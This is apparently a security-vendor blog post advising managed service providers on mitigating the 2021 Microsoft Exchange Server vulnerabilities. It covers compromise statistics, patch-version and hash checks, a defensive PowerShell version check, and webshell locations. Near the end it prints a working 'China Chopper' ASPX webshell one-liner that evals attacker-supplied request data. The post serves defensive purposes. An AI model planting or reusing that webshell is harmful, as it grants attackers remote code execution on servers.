Microsoft Exchange Server Vulnerabilities: Mitigation Guidance for MSPs

If you use on-premise Microsoft Exchange Servers, you likely know about Microsoft’s March 2021 vulnerability disclosures. The gravity of these vulnerabilities lies in the fact that they can be leveraged to gain remote code execution and fully compromise a target. From there, attackers have a foothold in the network and can expand their access to do much more damage.

Author: John Hammond, senior cybersecurity researcher, Huntress

And now that the vulnerabilities are well known, multiple actors continue to exploit them to compromise unpatched servers. So how can MSPs mitigate these security risks for customers?

We recommend that you assume your clients have been hit and proceed as if attackers are dwelling in their environment.

According to our latest findings:

  • 20% of the Exchange servers reviewed by Huntress (those running affected versions) appeared to have been compromised.
  • Nearly 25% of the incident reports we sent were to hosts who had been compromised more than once.
  • At this time, approximately 12% of the Exchange servers we’re monitoring are not patched yet.

Not only should you patch immediately, you should also externally validate the patch and hunt for the presence of webshells and other indicators of compromise (see the technical details below). Trusting the dashboard is simply not enough.

Thus far, it looks like all preventive products allowed the webshell to get dropped. Here’s a small sampling of the files found and which AV/EDR/SOCaaS solutions were installed.

An official Nmap NSE has since been provided by Microsoft that can identify if your systems are still vulnerable and validate patching. From our tests, this has provided reliable results.

To check your own patch status, we recommend you view the version number of the Microsoft.Exchange.RpcClientAccess.Service.exe binary present in the installation path of your Exchange server. You can view this by right-clicking the file in Explorer, selecting Properties, and switching to the Details tab.

While the default installation path for Exchange is C:\Program Files\Microsoft\Exchange Server\V15\bin, if you have a custom installation path that you are unaware of, you can examine this registry key to find the current path for versions of Exchange 2013 or greater: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup\MsiInstallPath

Exchange versions 2010 and below are end-of-life and should not be used in production.

Verify that the full version of this Microsoft.Exchange.RpcClientAccess.Service.exe file and its SHA256 hash is present in this chart below. This information comes from the official Microsoft Knowledge Base documentation per each version of Exchange and respective CU.

Exchange Version Hash of MSExchangeRPC Service Binary Version MS Patch Link
Exchange 2013 CU23 Patched 17a077eab538ca80155e6667735a1bc86510b08656e79fd6e931687b573042ca 15.0.1497.12 KB5000871
Exchange 2016 CU18 Patched 92d17848f4c0fd4d7ab99842f8058ed9925179611b8b4ad2084fabb1a39badc1 15.1.2106.13 KB5000871
Exchange 2016 CU19 Patched 18f85477f7edad2ca5686a1bc362c3ebed0ef37ba993ca61fc1fcc3249799cf2 15.1.2176.9 KB5000871
Exchange 2019 CU7 Patched af9fdab713ca9223719448f81cfba9018563ebef2b61e09e4e2ceb13efa6ef49 15.2.721.13 KB5000871
Exchange 2019 CU8 Patched 4c77d11aeaf590e6316125d8cd8217b69334aa62956097628d09b46b93203c0e 15.2.792.10 KB5000871

The full value of the version number must match.

Note: This approach is only checking the version of one file, the RPC Client Access Service, that our analysis has indicated does in fact update on fully patched hosts. This does not truly say the patch was 100% applied correctly, but does indicate at a minimum partial installation. It is likely if this version is correct and the server is functional, the patch was applied properly.

We strongly encourage you to perform this check personally, and continue to monitor the health of your Exchange servers by utilities published by Microsoft or vetted scripts contributed by the threat intelligence community.

If you consider yourself a command-line cowboy and would prefer to check the status of the patch via PowerShell, you can use this one-liner syntax. Simply copy-and-paste and slap it into your shell (credit to Cyberdrain.com / Kelvin Tegelaar for the base syntax).

$SafeVersions = “15.2.792.10”,”15.2.721.13″,”15.1.2176.9″,”15.1.2106.13″,”15.0.1497.12″,”14.3.513.0″|Foreach-Object {[version]$_}; $Version = [System.Diagnostics.FileVersionInfo]::GetVersionInfo(“$($ENV:ExchangeInstallPath)\bin\Exsetup.exe”).FileVersion; if ($SafeVersions -notcontains $Version){ Write-Host -ForegroundColor Red “[!] Patch not installed successfully, this server must be patched.” } else { Write-Host -ForegroundColor Green “[+] Exchange FileVersion is updated, the patch is in place.” }

Huntress Is Here to Help

Not only are we committed to educating the security community on how these vulnerabilities are being exploited, we’re also using our own platform to help us identify as many infected hosts as we can. 

We have had to get creative to help join the fight here. This is not something that Huntress would “normally find,” because these indicators of compromise are not persistence mechanisms. At the very start of this incident, practically all preventative security measures let this slip by—however now that the news broke, many are adding this capability into their detections.

We have visibility on thousands of servers and have uncovered multiple new indicators of compromise, and we understand the magnitude of this incident. Despite this initially being blanketed with the description of “limited and targeted” in scope, we cannot shrug this off—and we cannot allow our partners to do so either.

If you want to dive into more post-exploitation analysis, you can read Huntress’ original blog here. Or, check out huntress.com/exchange for our latest research and findings.

Technical Details

The vulnerabilities affect on-prem Microsoft Exchange Server. Exchange Online is not affected.  

The versions affected are: 

  • Microsoft Exchange Server 2019 
  • Microsoft Exchange Server 2016  
  • Microsoft Exchange Server 2013  
  • Microsoft Exchange Server 2010

CVEs affiliated with this incident:

We are finding a significant number of webshells within the “C:\inetpub\wwwroot\aspnet_client\system_web” directory. Please keep in mind, this location can be redirected via the “PathWWWRoot” value in the “HKLM\SOFTWARE\Microsoft\InetStp” registry key. Some webshell filenames seem to be randomly generated, while some seem to be a static string. This list includes new webshell names that we have not yet seen included in Microsoft’s reporting.

The webshell that these threat actors are using is known as the “China Chopper” one-liner. These are often in either the ASPX or PHP web language, and will execute code passed in as an HTTP argument included in the request. The one-liner is slipped into a file and has a syntax like so:

http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“NO9BxmCXw0JE”],”unsafe”);}</script>

Note that the different naming conventions of these ASPX webshells indicates the use of a different request variable. From the files we have seen thus far, we offer this breakdown also available online.


Author John Hammond is senior cybersecurity researcher at Huntress. Read more Huntress guest blogs here.

Return Home

No Comments

Leave a Reply

Your email address will not be published. Required fields are marked *